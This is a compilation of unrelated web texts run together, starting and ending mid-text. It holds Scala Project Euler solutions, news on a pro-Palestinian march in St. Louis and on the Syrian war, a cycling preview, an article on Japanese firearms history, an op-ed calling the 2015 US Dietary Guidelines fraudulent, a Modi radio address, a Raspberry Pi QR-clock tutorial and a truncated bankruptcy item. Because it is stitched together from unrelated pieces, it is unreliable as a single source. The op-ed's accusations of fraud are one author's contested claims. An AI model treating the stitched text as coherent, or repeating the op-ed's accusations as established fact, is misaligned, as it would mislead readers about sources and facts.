assert(r == 31626) // 658 ms Problem 22 What is the total of all the name scores in the file of first names?* val r = io.Source.fromFile("names.txt").mkString.split(",") .map(_.init.tail).sorted.map(_.map(_ - 64).sum) .zipWithIndex.map(p => p._1 * (p._2 + 1)).sum assert(r == 871198282) // 38 ms Problem 23 Find the sum of all the positive integers which cannot be written as the sum of two abundant numbers.* val as = (0 to 28123).map(n => (1 to (n / 2)).filter(n % _ == 0).sum) .zipWithIndex.filter(p => p._1 > p._2).map(_._2) val exc = as.view.flatMap { a => as.takeWhile(_ <= (28123 - a)).map(_ + a) } val r = (1 to 28123 diff exc).sum assert(r == 4179871) // 5 s Problem 24 What is the millionth lexicographic permutation of the digits 0, 1, 2, 3, 4, 5, 6, 7, 8 and 9?* def ps(s: String): Iterator[String] = if (s.length == 1) Iterator(s) else s.toIterator.flatMap(c => ps(s.filterNot(_ == c)).map(_ + c)) val r = ps("0123456789").drop(999999).next().toLong assert(r == 2783915460L) // 712 ms Problem 25 What is the first term in the Fibonacci sequence to contain 1000 digits?* lazy val fs: Stream[BigInt] = 0 #:: fs.scanLeft(BigInt(1))(_ + _) val r = fs.view.takeWhile(_.toString.length < 1000).length assert(r == 4782) // 468 ms Problem 26 Find the value of d < 1000 for which 1/ d contains the longest recurring cycle.* val ps = (2 until 1000).map(i => (1 to 2000) .find(BigInt(10).modPow(_, i) == 1)) val r = 2 + ps.indexOf(Some(ps.flatten.max)) assert(r == 983) // 2 s Problem 27 Find a quadratic formula that produces the maximum number of primes for consecutive values of n .* lazy val ps: Stream[Int] = 2 #:: Stream.from(3).filter(i => ps.takeWhile(j => j * j <= i).forall(i % _ > 0)) def isPrime(n: Int) = ps.view.takeWhile(_ <= n).contains(n) val ns = (-999 until 1000).flatMap { a => (-999 until 1000).map(b => (a, b, (0 to 1000).view .takeWhile(n => isPrime(n * n + a * n + b)).length)) } val t = ns.reduceLeft((a, b) => if (a._3 > b._3) a else b) val r = t._1 * t._2 assert(r == -59231) // 6 s Problem 28 What is the sum of both diagonals in a 1001 by 1001 spiral?* def cs(n: Int, p: Int): Stream[Int] = (n * 4 + p * 10) #:: cs(n + p * 4, p + 2) val r = 1 + cs(1, 2).take(500).sum assert(r == 669171001) // 1 ms Problem 29 How many distinct terms are in the sequence generated by a b for 2 ≤ a ≤ 100 and 2 ≤ b ≤ 100?* val r = (2 to 100).flatMap(a => (2 to 100) .map(b => BigInt(a).pow(b))).distinct.length assert(r == 9183) // 17 ms Problem 30 Find the sum of all the numbers that can be written as the sum of fifth powers of their digits.* def max(d: Int) = math.pow(10, d).toInt - 1 def sum(n: Int) = n.toString.map(_.asDigit) .map(math.pow(_, 5).toInt).sum val limit = Stream.from(1).find(d => max(d) > sum(max(d))).get val r = (2 to max(limit)).view.filter(n => n == sum(n)).sum assert(r == 443839) // 2 s Problem 31 Investigating combinations of English currency denominations.* def f(ms: List[Int], n: Int): Int = ms match { case h :: t => if (h > n) 0 else if (n == h) 1 else f(ms, n - h) + f(t, n) case _ => 0 } val r = f(List(1, 2, 5, 10, 20, 50, 100, 200), 200) assert(r == 73682) // 15 ms Problem 32 Find the sum of all numbers that can be written as pandigital products.* val ms = for { a <- 2 to 10000; b <- 2 to 10000 / a m = a * b; s = a.toString + b + m if s.length == 9 && (1 to 9).mkString.forall(s.contains(_)) } yield m val r = ms.distinct.sum assert(r == 45228) // 73 ms Problem 33 Discover all the fractions with an unorthodox cancelling method.* val rs = for (i <- 1 to 9; j <- (i + 1) to 9; k <- 1 to 9 if k * (9 * i + j) == 10 * i * j) yield (10 * i + j, 10 * j + k) val p = rs.reduceLeft((n, d) => (n._1 * d._1, n._2 * d._2)) def gcd(n: Int, d: Int): Int = if (d == 0) n else gcd(d, n % d) val r = p._2 / gcd(p._1, p._2) assert(r == 100) // 5 ms Tags: problem, Programming, project euler, puzzle, scala, solution -As tensions rise in the Old City of Jerusalem, hundreds of people gathered on Delmar Boulevard in University City Sunday evening to show their support — some for Palestinians and others for the Israeli government. The Council of American-Islamic Relations (CAIR) organized the march to protest new Israeli security measures at prayer sites in Jerusalem. Metal detectors and security cameras were installed after the mosque was temporarily closed on July 14, when three Palestinian civilians and two Israeli officers were killed in clashes nearby. At the St. Louis area march, protesters demanded freedom for Muslims to worship without harassment and extra security measures when entering the Jerusalem compound that houses Al-Aqsa Mosque. The compound is an area also referred to by Jews as the Temple Mount. However, for many St. Louisans the gathering was about more than the installation of new metal detectors at the holy site in Jerusalem. CAIR intern and member of the Palestine Solidarity Committee Neveen Ayesh, a Muslim, is Palestinian-American and spoke to the St. Louis-area crowd about the ongoing conflict. “It’s what’s going to come after the metal detectors and what’s going to come with the metal detectors,” she said. “It’s just another way to put [Palestinians] on a leash and try to control them.” Marchers carried signs and chanted “free free Al-Aqsa” and “end the siege on Aqsa now.” In a show of international solidarity, people waved flags from the United States, Palestine, Bosnia-Herzegovina and Jordan. Sunday’s march was attended by many Muslims, members of the Palestinian-American community, and activists from local social justice organizations including the St. Louis Palestine Solidarity Committee, Jewish Voice for Peace and Progressive Youth Association. There was also a counter demonstration in support of Israel’s new security measures. Attendees held Israeli flags and signs advocating for Israel’s right to defend itself. The pro-Palestinian marchers and pro-Israeli demonstrators didn’t cross paths, but Jewish-Israeli Boaz Steiner took it upon himself to walk amongst the pro-Palestinian protesters. Steiner is an advocate for Israel’s new security measures and said he thinks it’s more useful to speak directly to pro-Palestinians instead of standing at the pro-Israeli demonstration. “I am a person who lived there and understand the situation on the ground truly,” he said. “Other religious sites around the world have security measures, why can’t Israel?” But Jewish-American Michael Berg disagrees. As a member of the Jewish Voice for Peace and St. Louis Palestine Solidarity Committee, he’s participated in many demonstrations calling for equal rights for Palestinian citizens. He also gave a speech at the rally. “The rate of ethnic cleansing against the Palestinian inhabitants of the Old City and east Jerusalem is accelerating,” he said. “We’ll continue to be out, fight and advocate until there’s justice,” he said. After the march, pro-Palestinian demonstrators gathered for evening prayers in the parking lot behind Cicero’s on Delmar Boulevard. The imam who lead the prayer recited specific prayers advocating for the end of Israel’s occupation of east Jerusalem. Many participants also signed a petition organized by CAIR to bring awareness of the military occupation of Palestinian territories to St. Louis-area government officials. “We’re telling them to speak out and say no and to stop funding [Israel’s military occupation],” Neveen Ayesh said. “We are going to continue to raise awareness, near or far. This is something sacred to our hearts.” -IS seeks to isolate Turkish border crossing The Islamic State [IS] attacked a YPG-controlled town in Al-Hasakah province on Tuesday, as it seeks to isolate the nearby border crossing with Turkey, a Kurdish citizen journalist told Syria Direct on Wednesday. IS “aims to control Tel Khanzir and close the door on YPG” forces holed up in the border crossing of Ras al-Ain, said Roman Yusef, the Al-Hasakah-based activist. Tel Khanzir is located on the highway between the joint YPG and rebel-controlled town of Tel Abyad and the YPG-controlled border crossing of Ras al-Ain. By winning control Tel Khanzir, IS hopes to cut off the supply line between Tel Abyad and Ras al-Ain, which IS has attacked for the past month. The YPG staved off the assault on Tel Khanzir, killing and injuring an undisclosed number of IS members in the fighting, said Khalid Iskef, a Syria-based correspondent for the Lebanese pro-regime news channel Al-Mayadeen. YPG forces, aided by the regime, have been battling IS for control of key parts of Al-Hasakah province for the past month. YPG clashes with IS in four villages southeast of Kobani YPG forces are battling Islamic State (IS) fighters for control of four villages in the southeast Kobani countryside. “Clashes between YPG and IS remain ongoing as of now in the villages of Aqbash, Ahmadia, Mamad Khan and al-Jarn al-Aswad, 35 kilometers south of Kobani,” Mustafa al-Abdi, senior correspondent with the Iraqi Kurdish Arta FM radio station based in Kobani told Syria Direct on Wednesday. “This comes after YPG forces clashed with IS in the southeast Kobani countryside on Tuesday, with the help of coalition air strikes that targeted IS positions on the front line,” al-Abdi added. The YPG captured five villages from the Islamic State on Tuesday after fighting that reportedly led to the deaths of 43 IS fighters. The offensive is part of a new YPG military campaign that began Monday under the rubric “Revenge for the Martyrs of Hasakah,” reported pro-Kurdish Adar Press. Last Friday, unknown assailants launched car bomb attacks on Kurdish Nowruz celebrations in Al-Hasakah city that killed at least 45 people. YPG forces captures 27 IS corpses and large stockpiles of weapons and ammunition in the aftermath of the fighting, reported the pro-Kurdish ANHA news outlet on Tuesday. YPG fighters seize weapons cache from IS on Tuesday. Photo courtesy @pyd_rojava. As rebels close in, Idlib regime company defects to opposition A contingent of regime forces fearing a rebel assault on its position in the southeastern Idlib countryside defected to the opposition on Tuesday. The regime contingent–reportedly consisting of five officers and 45 soldiers–defected as its distracted leadership was fortifying Ma’amal al-Qarmeed, a brick factory turned regime military base 7.5km southeast of Idlib city, for an expected rebel attack, reported the pro-opposition news site All4Syria on Tuesday. The defecting regime officers and soldiers joined the newly minted Operation Room for the Liberation of Idlib, also known as Jaish al-Fatah, a rebel coalition including the Islamist groups Jabhat a-Nusra and Ahrar a-Sham. Jaish al-Fatah announced its formation this Tuesday, reported the pro-opposition Orient News on Tuesday, the same day it launched a offensive to take regime-controlled Idlib city. The campaign to capture Idlib is particularly significant to Nusra, which reportedly wants the city as part of its plan to eventually carve out an al-Qaeda emirate in northern Syria. Nusra may have contributed up to 3,000 men to the fight, in addition to US-manufactured TOW anti-tank missiles, likely looted from the US-backed, now-dissolved Harakat Hazm last month. For more from Syria Direct, like us on Facebook or follow us on Twitter. -Most of us like reading stories about ancient times and fantasize that our ancestors’ lives were easy and romantic, but were they really? 24-year-old Russian man Pavel Sapozhnikov decided to see what his ancestors’ lives were really like by spending 6 months living in 10th-century conditions.“The idea is to see if a modern man can survive alone in an early medieval environment, what impact this kind of lifestyle will have on his psychological state” says Alexey Ovcharenko, who is the driving force behind the “Alone in the Past” project.For six months – until March 22 – Pavel will live in a medieval farm without electricity, running water, Internet access and other modern comforts. The autumn and winter seasons were chosen on purpose – scientists want to explore the everyday challenges faced by medieval people during the toughest time of the year.If given the chance, would you be brave enough to live alone in the past? -2009 Paris-Roubaix runner up ready for Sunday after Sanremo and Flanders disappointment Filippo Pozzato (Lampre-Merida) is taking aim at the third and final big target of his spring campaign, as he hopes to go one better than his 2009 second place in Sunday’s Paris-Roubaix. The 31-year-old Italian was active, but unsuccessful in Milano-Sanremo on March 17th, but less visible in last Sunday’s Ronde van Vlaanderen but, as the blue-fuchsia team’s Classics captain, he expects more in l’Enfer du Nord. “Paris-Roubaix is a very demanding and selecting race, the group of the pretenders is even more limited than at the Ronde van Vlaanderen,” Pozzato explained. “I focused the early part of the season to three targets: Milano-Sanremo, the Ronde van Vlaanderen and Paris-Roubaix. I’ve got one last chance to be a protagonist, after not having hit the targets in the first two appointments. “Of course, I’ll need to be more competitive than past Sunday, because Paris-Roubaix must be approached with energy and a clear mind.” After such taking such a dominant victory in Sunday’s Ronde, there will be one rider that Pozzato - and the rest of the peloton - will be watching across the fearsome cobbles of northern France. “[Fabian] Cancellara will have all eyes on him,” Pozzato confirmed. “He is the logical favourite.” Friday will see Pozzato reconnoitre most of the cobbled sectors, starting from sector 19 [of 27 - ed] between Haveluy à Wallers and riding all the way to section 4 at Le Carrefour de l'Arbre. The Italian team will be riding a new Rida frame from bike sponsor Merida, which has been specifically designed for tough, cobbled races like Paris-Roubaix. Lampre-Merida team for Paris-Roubaix Massimo Graziato, Elia Favilli, Andrea Palini, Alessandro Petacchi, Filippo Pozzato, Maximiliano Richeze, Davide Viganò and Luca Wackermann -Firearms of Japan were introduced in the 13th century by the Chinese, but saw little use. Portuguese firearms were introduced in 1543,[1] and intense development followed, with strong local manufacture during the period of conflicts of the late 16th century. Teppo [ edit ] Due to its proximity with China, Japan had long been familiar with gunpowder weaponry. Firearms seem to have first appeared in Japan around 1270, as primitive metal tubes invented in China and called teppō (鉄砲 lit. "iron cannon") seem to have been introduced in Japan as well.[2] These weapons were very basic, as they had no trigger or sights, and could not bear comparison with the more advanced European weapons which were introduced in Japan more than 250 years later.[2] Tanegashima (matchlock) [ edit ] The first documented introduction of the matchlock which became known as the tanegashima was through the Portuguese in 1543.[1] The tanegashima seems to have been based on snap matchlocks that were produced in the armory of Malacca in Portuguese Malacca, which was captured by the Portuguese in 1511.[3] The name tanegashima came from the island where a Chinese junk with Portuguese adventurers on board was driven to anchor by a storm. The lord of the Japanese island Tanegashima Tokitaka (1528–1579) purchased two matchlock muskets from the Portuguese and put a swordsmith to work in copying the matchlock barrel and firing mechanism. Within a few years the use of the tanegashima in battle forever changed the way war was fought in Japan.[4] From 1560, firearms were used in large battles in Japan.[5] In his memoirs published in 1614, the Portuguese adventurer turned author Fernão Mendes Pinto placed himself in that first landing party, although this claim has been roundly discredited and in fact contradicts his claims to be simultaneously in Burma at the time. However, Pinto does appear to have visited Tanegashima soon thereafter.[6] History [ edit ] Sengoku Period [ edit ] Ashigaru (foot soldiers) using matchlocks (tanegashima) from behind shields (tate). (foot soldiers) using matchlocks () from behind shields (). Japan was at war during the Sengoku Period between 1467 and 1600, as feudal lords vied for supremacy.[7] Matchlock guns were used extensively and had a decisive role in warfare. In 1549, Oda Nobunaga ordered 500 matchlocks to be made for his armies. The benefits of firearms were still relatively questionable however compared to other weapons. At the time, guns were still rather primitive and cumbersome. According to one estimate in 16th century Japan, an archer could fire 15 arrows in the time a gunner would take to load, charge, and shoot a firearm.[8] Effective range also was only 80 to 100 meters, and at that distance, a bullet could easily bounce off armour. Furthermore, matchlocks were vulnerable to humid or rainy conditions as the powder would become damp.[8] However, firearms could be manned effectively by farmers or non-samurai low-ranking soldiers.[9] The Japanese soon worked on various techniques to improve the effectiveness of their guns. They developed serial firing technique to create a continuous rain of bullets on the enemy.[10] They also developed bigger calibers to increase lethal power.[10] Protective boxes in lacquerware were invented to be able to fire matchlocks in the rain,[11] as well as systems to accurately fire weapons at night by keeping fixed angles thanks to measured strings.[12] As a result, in the year 1567, Takeda Shingen announced that "Hereafter, the guns will be the most important arms. Therefore, decrease the number of spears per unit, and have your most capable men carry guns".[13] At the Battle of Nagashino in 1575, 3,000 arquebusiers helped win the battle, firing by volleys of 1,000 at a time, and concealed across a river and breastwork to effectively stop enemy infantry and cavalry charges while being protected.[14] In the year 1584 Ikeda Sen led a troop of 200 women armed with firearms at the Battle of Komaki and Nagakute and in 1600 at the Battle of Sekigahara, rare example of Teppō unit, or musketeer unit consisting only of women.[15] Japan became so enthusiastic about the new weapons that it possibly overtook every European country in absolute numbers produced.[9] Japan also used the guns in the Japanese invasion of Korea in 1592, in which about a quarter of the invasion force of 160,000 were gunners.[16] They were extremely successful at first and managed to capture Seoul just 18 days after their landing at Busan.[17] Edo Period [ edit ] The internal war in Japan was won by Tokugawa Ieyasu, who established the Tokugawa shogunate, a powerful entity that would maintain peace and prosperity in Japan for the following 250 years. From the mid-17th century, Japan decided to close itself to interaction with the West through its policy of Sakoku. Guns were used less frequently because the Edo Period did not have many large-scale conflicts in which a gun would be of use. Oftentimes the sword was simply the more practical weapon in the average small-scale Edo Period conflicts, nevertheless there were gunsmiths in Japan producing guns through the Edo Period. It should also be noted that isolation did not decrease the production of guns in Japan—on the contrary, there is evidence of around 200 gunsmiths in Japan by the end of the Edo Period. But the social life of firearms had changed: as the historian David L. Howell has argued, for many in Japanese society, the gun had become less a weapon than a farm implement for scaring off animals.[18] Late Edo Period [ edit ] Japanese percussion pistol, 19th century, possibly converted from a matchlock. A few Japanese started to study and experiment with recent Western firearms from the beginning of the 19th century especially as a means to repel the visits of foreign ships, such as the incursion by British frigate HMS Phaeton in 1808.[19] Through the process of rangaku (the studying of Western science through the Dutch), airguns were developed by Kunitomo Ikkansai c. 1820–1830. From 1828, experiments were made with flintlock mechanisms.[19] The Nagasaki samurai Takashima Shūhan (高島秋帆) started to import flintlock guns from the Netherlands known as "Gewehr" from the 1840s.[20] He made the first modern Western military demonstration for the Tokugawa shogunate, in Tokumarugahara (north of Edo) on 27 June 1841. With the arrival of Commodore Perry in 1854 and the inescapable opening of the country to trade, rapid efforts were made at reequipping Japan with modern fireams. Old matchlock weapons were recovered and converted to flintlock mechanisms.[21] Boshin War [ edit ] The mounting civil war in Japan and the opposition of various feudal lords against the Bakufu during the Late Tokugawa shogunate led to serious rearming until the 1867 Boshin War. At the same time, technological progress was extremely fast in the West, with the introduction of the rifle, breech-loading and even repeating firearms, so that Japanese armies were equipped with composite technologies, with weapons imported from countries as varied as France, Germany, the Netherlands, Britain and the United States, and coexisting with traditional Tanegashima guns.[22] During the Boshin War, most shogunate vassal troops used Gewehr smoothbore guns. These guns were rather ancient and had limited capabilities, with an effective lethal range of about 50 meters, and a firing rate of about two rounds per minute. Much more effective Minié rifles were also used by the armies directly under the command of the shōgun, the Bakufu troops. The Daimyō of Nagaoka, an ally of the shōgun, possessed two Gatling guns and several thousand modern rifles. The shogunate is known to have placed an order for 30,000 modern Dreyse needle guns in 1866.[citation needed] In 1867, orders were placed for 40,000 state-of-the-art French Chassepot rifles, a part of which reached Edo by year's end.[22] Antiquated Tanegashima matchlock guns are also known to have been used by the Bakufu however.[23] Imperial troops mainly used Minié rifles, which were much more accurate, lethal, and had a much longer range than the smoothbore Gewehr guns, although, being also muzzle-loading, they were similarly limited to two shots per minute. Improved breech-loading mechanisms, such as the Snider, developing a rate of about ten shots a minute, are known to have been used by troops of the Tosa Domain against the shogunate's Shōgitai, at the Battle of Ueno in July 1868. In the second half of the conflict, in the northeast theater, Tosa Province troops are known to have used American-made Spencer repeating rifles.[23] American-made handguns were also popular, such as the 1863 Smith & Wesson Army No 2, which was imported to Japan by the Scottish trader Thomas Blake Glover and used by the Satsuma forces.[23] Modern period [ edit ] The Arisaka rifle family. List goes top to bottom: 1. Arisaka Type 30 2. Arisaka Type 38 3. Arisaka Type 38 carbine 4. Arisaka Type 44 carbine 5. Arisaka Type "I" model. The Type "I" was produced by Italy for Japan and was basically an Arisaka with a Carcano action 6. Arisaka Type 99 (Earlier Model) 7. Arisaka Type 99 (Later Model) For some time after the Meiji Restoration, Japan continued to use imported weapons. The newly created Imperial Japanese Army used firearms intensively against more traditional samurai rebellious forces during the Satsuma rebellion in 1877, with an average of 320,000 rounds of ammunition fired daily during the conflict.[24] After the Satsuma rebellion, Japan relied extensively on the French Chassepot.[25] Japan finally developed its own model, the Murata rifle, derived from the French Fusil Gras mle 1874.[25] This was Japan's first locally made service rifle, and was used from 1880 to 1898. An industrial infrastructure, such as the Koishikawa arsenal had to be established to produce such new weapons. Later, Japan developed the very successful bolt action Arisaka series rifles, which was the Japanese service rifle until the end of World War II.[26] Japan produced relatively few submachine guns during World War II, the most numerous model was the Type 100 submachine gun of which 24,000–27,000 were produced, compared, for example, with the British Sten of which millions were produced. During the war, the Japanese worked on a copy of the American semi-automatic M1 Garand (the Type 5 rifle) but only a few hundred were made before the end of the war and it did not enter service. After the end of the war, the dissolution of the Imperial Japanese Army, and the establishment of the Japan Self-Defense Forces in 1947, Japan relied on M1 Garand rifles provided by the United States. In the mid-1950s however, Japan's Defense Agency started to develop battle rifles of its own, such as the Howa Type 64[27] and assault rifles like the Howa Type 89 which has been gradually replacing the former.[28] See also [ edit ] References [ edit ] -Recently, my colleagues and I published research in Mayo Clinic Proceedings that examined dietary data from almost 50 years of nutrition studies. What we found was astounding; these data were physiologically implausible and incompatible with survival. In other words, the diets from these studies could not support human life if consumed on a daily basis. The reason for this is simple; the memory-based data collection methods (M-BMs) used by nutrition researchers are unscientific because they rely on both the truthfulness of the study participant and the accuracy of his or her memory. Stated more simply, these methods collect nothing more than uncorroborated anecdotal estimates of food and beverage consumption. Importantly, vast amounts of taxpayer dollars are directed away from rigorous scientific investigations and squandered every year on the collection of uncorroborated anecdotes via M-BMs. Approximately 80% of the data in the USDA’s National Evidence Library consists of uncorroborated anecdotes as well as 100% of the dietary data from every major epidemiologic study over the past 50 years (e.g., Nurses’ Health Study, Health Professionals Follow-Up Study, REGARDS project, and EPIC study). In other words, most of what nutrition researchers call “scientific evidence” is in reality a vast collection of nearly baseless anecdotes. Nevertheless, despite a century of unequivocal evidence that human memory and recall are woefully inadequate for actual scientific data collection, the data from these methods are used to create public health policy. To date, no researchers have published data that challenge or attempt to refute our findings and conclusions. The reason for this fact is simple: our science is strong and our findings irrefutable. Nevertheless, this has not stopped government-funded researchers and officials from the National Institutes of Health (NIH) from demonstrating an unscientific intolerance to criticism by using rhetoric and fallacious ad hominems in defense of their pseudoscientific methods. While these attacks do nothing to advance the science of nutrition, the fact that taxpayer-funded NIH officials and researchers are attacking and attempting to bully and censor legitimate scientists serving the public suggests that publicly-funded science is in grave jeopardy. In September of 2015, prior to the publication of the 2015 Dietary Guidelines for Americans, I was invited by President Obama’s Council of Advisors on Science and Technology to present our research on implausible dietary data. The presentation was short and simple: the dietary data from the National Health and Nutrition Examination Survey, “What We Eat In America” study (NHANES /WWEIA) are incompatible with the survival and therefore cannot be used to inform public policy. Nevertheless, the administration proved impervious to contrary evidence and presented the implausible NHANES/WWEIA data as scientific evidence of the “Current Eating Patterns in the United States” in the recently published 2015 Guidelines. This official presentation is patently false and fraudulent. It should be obvious that dietary data that cannot support human life are not an accurate description of the “Current Eating Patterns” of Americans. In response to the misrepresentation of the NHANES/WWEIA data, we recently published evidence on the willful manipulation and doctoring of data by government-funded researchers to support current dietary dogma. Yet perhaps the most egregious example of scientific fraud and misconduct in the Guidelines is the use of these implausible dietary data to create fear and uncertainty in American citizens. In chapter 2, the section entitled, "Underconsumed Nutrients and Nutrients of Public Health Concern," states that vitamins A, C, D, E, and iron are under-consumed. This statement is directly contradicted and refuted by the Government’s own objective data (i.e., serum biomarkers). For example, at the time of the last CDC Biochemical analysis, less than 1% of Americans were at risk for deficiencies in vitamins A and E, and 80% of Americans were not at risk for deficiencies in any of the minerals and vitamins measured (including vitamins C, D, and iron). It should be obvious that Americans could not be under-consuming vitamins A, C, D, E, and iron while at the same time maintaining healthy serum levels of these same vitamins and minerals. As such, the Guidelines present alarmist, subjective, implausible dietary data as scientific fact while ignoring the objective, rigorous, and obvious data that Americans are exceptionally well fed. The Executive Branch of our Federal government and the government-funded nutrition community have been aware of the empirical refutation and misrepresentation of dietary data for decades, yet this evidence is ignored. Stated more simply, government officials knew the dietary data used to create the Guidelines were patently false but published them as fact. The Dietary Guidelines for Americans direct our attention and research resources towards unscientific and specious “nutrients of concern” and dietary dogma while distracting us away from the actual causes of obesity, diabetes and chronic non-communicable diseases. It is well-established that 80% of Americans are not at risk for any dietary deficiencies, yet more than 95% of Americans do not meet the minimum physical activity guidelines. Because of this simple fact, with each passing generation our children become better fed but less fit, less healthy, and fatter. Until we replace the unscientific fiction of “we are what we eat” and the uneducated government-funded rhetoric that ‘food is our foe’ with rigorous scientific facts, many American children will live shorter, less fit and less healthy lives than their parents. Given this reality, it is our hope that in the meantime, the fatal conceit and lack of epistemic humility of the researcher-politicians in our Federal Government are constrained by the dictum “Primum non nocere” (First, do no harm). Retracting the fraudulent 2015 Guidelines will be a good start. -NEW DELHI: Highlighting benefits of the just- announced Crop Insurance Scheme, Prime Minister Narendra Modi on Sunday said awareness about it should be spread across the country so that at least 50 per cent of the farmers join it within two years.In his monthly radio programme 'Mann Ki Baat', he also pitched for continued efforts to popularise Khadi and awarness to save girl child, mentioned about the recently launched 'Start-Up India' programme and talked about the upcoming International Fleet Review to be held in Visakhapatnam.Modi said he needs the "maximum help" from people about spreading awareness regarding the Pradhan Mantri Crop Insurance Scheme which was launched earlier this month."In our country, a lot is said in the name of farmers. I don't want to get involved in that debate. But farmers face a major crisis. In natural calamity, their entire effort goes waste. His one year goes waste. To give him security, only one thing comes to mind and that is crop insurance," he said in this year's first edition of the monthly radio programme."In (the New Year) 2016, the central government has given a big gift to the farmers -- Pradhan Mantri Crop Insurance Scheme. This scheme has been brought not for the purpose that it should be praised or the Prime Minister should be hailed," he said.The Prime Minister said that for so many years, there has been a talk regarding crop insurance but "not more than 20-25 per cent" of the country's farmers had been been able to benefit from such schemes."Can we take a pledge that we should connect at least 50 per cent of the farmers to this scheme in two years? I need this help from you. Because if a farmer joins the scheme, he will get huge help during a natural calamity," he said.Modi said this time, the scheme has got "wide acceptability because it has been made quite extensive and easy and involves use of technology. Not only this. If something happens to the crop within 15 days after harvest, even then help is assured."Usage of technology will ensure speedy assessment and disbursement of compensation, he said."The biggest thing is that the rate of premium has been kept so low which nobody would have imagined. The rate of premium for Kharif crop has been kept 2 per cent while for Rabi crop it is one-and-a-half per cent."Now tell me, if any farmer is deprived of the benefits of this scheme, will he not suffer loss? I want the awareness about this scheme to spread," he said. -Update 3: code for the demo video is here. Update 2: In which I actually post working code. Update: Eep! This post was featured on the Raspberry Pi blog today. Thanks, Liz! And now for something completely different: … a clock that isn’t human readable. You’ll need a QR code reader to be able to tell the time. This, however, is not the prime purpose of the exercise. I was looking for an excuse to try some direct hardware projects with the GPIO, and I remembered I had a couple of Nokia-style surplus LCDs lying about that could be pressed into service. These LCDs aren’t great: 84×48 pixels, 3V3 logic, driven by SPI via an 8-pin header which includes PWM-controllable LED backlighting. They are cheap, and available almost everywhere: DealExtreme ($5.36), SparkFun ($9.95), Adafruit ($10 – but includes a level shifter, which you really need if you’re using a 5V logic Arduino), Solarbotics ($10) and Creatron (about $12; but you can walk right in and buy one). Despite being quite difficult to use, helpful people have written drivers to make these behave like tiny dot-addressable screens. I’d been following the discussion on the Raspberry Pi forum about driving the Nokia LCD from a Raspberry Pi. Only when user bgreat posted some compact code that was supposed to run really fast did I dig out the LCD board and jumper wires. Building on bgreat’s nokiaSPI.py class and a few other bits of code, here’s what I built to make this singularly pointless clock: #!/usr/bin/python # -*- coding: utf-8 -*- # qrclock - The Quite Rubbish Clock for Raspberry Pi - scruss, 2013-01-19 import time # need to use git://github.com/mozillazg/python-qrcode.git import qrcode from PIL import Image import ImageOps # uses bgreat's SPI code; see # raspberrypi.org/phpBB3/viewtopic.php?f=32&t=9814&p=262274&hilit=nokia#p261925 import nokiaSPI noki = nokiaSPI.NokiaSPI() # create display device qr = qrcode.QRCode(version=1, # V.1 QR Code: 21x21 px error_correction=qrcode.constants.ERROR_CORRECT_M, box_size=2, border=1) bg = Image.new('1', (84, 48)) # blank (black) image background while 1: qr.clear() newbg = bg.copy() # copy blank background s = time.strftime('%Y-%m-%d %H:%M:%S') qr.add_data(s) # make QR Code of YYYY-MM-DD HH:MM:SS qr.make() qrim = qr.make_image() # convert qrcode object to PIL image qrim = qrim.convert('L') # make greyscale qrim = ImageOps.invert(qrim) # invert colours: B->W and W->B qrim = qrim.convert('1') # convert back to 1-bit newbg.paste(qrim, (18, 0)) # paste QR Code into blank background noki.show_image(newbg) # display code on LCD time.sleep(0.4) # pause before next display (Convenient archive of all the source: qrclock2.zip, really including bgreat’s nokiaSPI class this time …) To get all this working on your Raspberry Pi, there’s a fair amount of configuration. The best references are bgreat’s own comments in the thread, but I’ve tried to include everything here. Enabling the SPI kernel module As root, edit the kernel module blacklist file: sudo vi /etc/modprobe.d/raspi-blacklist.conf Comment out the spi-bcm2708 line so it looks like this: #blacklist spi-bcm2708 Save the file so that the module will load on future reboots. To enable the module now, enter: sudo modprobe spi-bcm2708 Now, if you run the lsmod command, you should see something like: Module Size Used by spi_bcm2708 4421 0 Installing the WiringPi, SPI and other required packages WiringPi by Gordon is one of the neater Raspberry Pi-specific modules, as it allows relatively easy access to the Raspberry Pi’s GPIO pins. For Raspbian, there are a few other imaging libraries and package management tools you’ll need to install here: sudo apt-get install python-imaging python-imaging-tk python-pip python-dev git sudo pip install spidev sudo pip install wiringpi Installing the Python QR code library Finding a library that provided all the right functions was the hardest part here. I ended up using mozillazg‘s fork of lincolnloop‘s python-qrcode module. mozillazg’s fork lets you use most of the lovely PIL methods, while the original hides most of them. Since I had to do some image compositing and colour remapping to make the image appear correct on the Nokia screen, the new fork was very helpful. To install it: git clone git://github.com/mozillazg/python-qrcode.git cd python-qrcode/ sudo python ./setup.py install The tiny 84×48 resolution of the Nokia screen doesn’t give you many options for sizing QR codes. For the time display of the clock, a 21×21 module Version 1 code with two pixels per module and one module margin just fits into 48 pixels. Using a medium level of error correction, you can fit the 19-character message (such as “2013-01-19 18:56:59”) into this tiny screen with a very good chance of it being read by any QR code reader. (In the video, there’s a much larger QR code that’s a link to this blog post. That’s a Version 7 code [45×45 modules] at one pixel per module and no margin. This doesn’t meet Denso Wave’s readability guidelines, but the Nokia screen has large blank margins which seem to help. It won’t read on every phone, but you’re here at this link now, so you don’t need it …) Wiring it all up (Do I really need to say that you’ll be messing around with the inner delicate bits of your Raspberry Pi here, and if you do something wrong, you could end up with a dead Raspberry Pi? No? Okay. Just make sure you take some static precautions and you really should have the thing shut down and powered off.) You’ll need 8 female-female jumper wires, and also some kind of pin header soldered in (I used right-angled ones). Note that the thick border of the LCD is the top of the screen. These boards are made who-knows-where by who-knows-whom, and there’s a huge variety of labels and layouts on the pins. My one appears to be yet another variant, and is labelled: VCC GND SCE RST D/C DNK(MOSI) SCLK LED This is how I wired it (from comments in bgreat’s code and the GPIO reference): LCD Pin Function Pi GPIO Pin # Pi Pin Name ============= ============= =============== ============= 1 VCC Vcc 1 3.3 V 2 GND Ground 25 GND 3 SCE Chip Enable 24 GPIO08 SPI0_CE0_N 4 RST Reset 11 GPIO17 5 D/C Data/Command 15 GPIO22 6 DNK(MOSI) Data In 19 GPIO10 SPI0_MOSI 7 SCLK Serial Clock 23 GPIO11 SPI0_SCLK 8 LED Backlight 12 GPIO18 PWM0 Wire it up, and fire up the program: sudo ./qrclock.py Yes, code that accesses GPIO needs to be run as root. Pesky, but helps you avoid running code that accidentally scrams the nuclear power station you’re controlling from your Raspberry Pi … Share this: Facebook Flattr Twitter Reddit Pinterest Update 3: code for the demo video is here. Update 2: In which I actually post working code. Update: Eep! This post was featured on the Raspberry Pi blog today.... -A federal bankruptcy judge approved Thursday a Chapter 11 reorganization plan that will allow AT&T and DirecTV to purchase Comcast SportsNet Houston and relaunch it in November as Root Sports Houston. There was no immediate indication, in the wake of Judge Marvin Isgur’s ruling, when the new network will launch 